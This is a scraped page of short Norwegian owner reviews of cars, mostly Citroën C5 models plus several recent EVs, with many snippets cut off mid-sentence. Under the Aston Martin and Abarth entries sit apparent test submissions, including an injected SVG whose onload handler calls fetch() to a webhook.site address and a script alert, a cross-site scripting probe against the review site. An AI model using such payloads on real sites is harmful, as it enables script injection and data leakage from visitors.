Citroën C5 (2007)

Komfortabel bil med stor plass.

Citroën C5 (2006)

Er veldig godt fornøyd med min C5. Synd at merket selger så lite. Det påvirker avstanden til forhandler og merkeverksted. Skjønner ikke hvorfor folk lar seg lure til de populære merkene når fran

Citroën C5 (2006)

Billig og komfortabel bil å eie og kjøre

Citroën C5 (2006)

En utrolig kjedelig og fornuftig bil. Motor og drivverk fungerer bra, men har hatt mye problemer med det elektriske som antispinn, parkeringssensorer, egr ventil og laneassist.

Citroën C5 (2005)

Bil for den som ønsker komfort, rolig kjøreglede, kan av og til finnes skambillig fordi flere tror dette er dårlige biler, noe som ikke er tilfelle. Karosseriet er galvanisert, setene er supre f

Citroën C5 (2005)

Veldig mye bil for pengene. Mange har mye utstyr. Bilen ruster ikke, på 12 år er det kun en liten flekk på bakluka.

Citroën C5 (2005)

Stor og komfortabel bil. Litt undermotorisert i denne utgaven, men dette løser seg ved aktiv giring. Ingen problemer med hydraulikkfjæring, svingbare lykter, filvarsler eller elektronikk så langt.

Citroën C5 (2004)

En god bil totalt sett i forhold til alder. Men hadde jeg ikke skrudd selv på bilen så hadde det fort blitt dyrt. Min neste bil blir nok japansk, men er ikke redd for å anbefale C5 av eldre modelle

Citroën C5 (2003)

Stor og trygg bil som oppfører seg forutsigbart på alle underlag. Meget behagelig og den perfekte milsluker! Null rust og ingen problemer etter 164 000km og snart 16 år. Alt det elektriske fungerer

Citroën C5 (2003)

Meget fornøyd

Citroën C5 (2003)

Aldri hatt problemer med den, alt fungerer som det skal, også det elektriske. Bilen er utrolig behagelig å kjøre, og langkjøring går som en lek takket være det hydropneumatiske understellet. Set

Citroën C5 (2002)

Er veldig fornøyd med min C5. Det som også er så bra med disse bilene er at dei ruster jo ikkje takket være stålet og galvanisert understell.

Citroën C5 (2002)

Har aldri hatt en så driftsikker og problemfritt bilhold.

Citroën C5 (2002)

Suveren familiebil. 1,8 literen er ikke akkurat spennende, men får deg fram. Minimalt med rust, jevnt over god kvalitet. Anbefales for alle som er på utkikk etter billig familiebil.

Citroën C5 (2002)

Hva får man for 18.000.- EU godkjent og med 3 mnd. garanti. Jo en Citroen C5 stasjonsvogn. Nydelig langturbil med overraskende lavt forbruk. Snitt på 6,3.. bortimot rustfri. En super bil til en

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

BMW 3-Serie (2012)

Hadde det vært et punkt som het eierglede så hadde jeg glatt gitt 10 av 10!! Bilen er vakker og tvers igjennom godt bygget! Nydelig å kjøre og det meste bærer preg av å være bygget med gode mat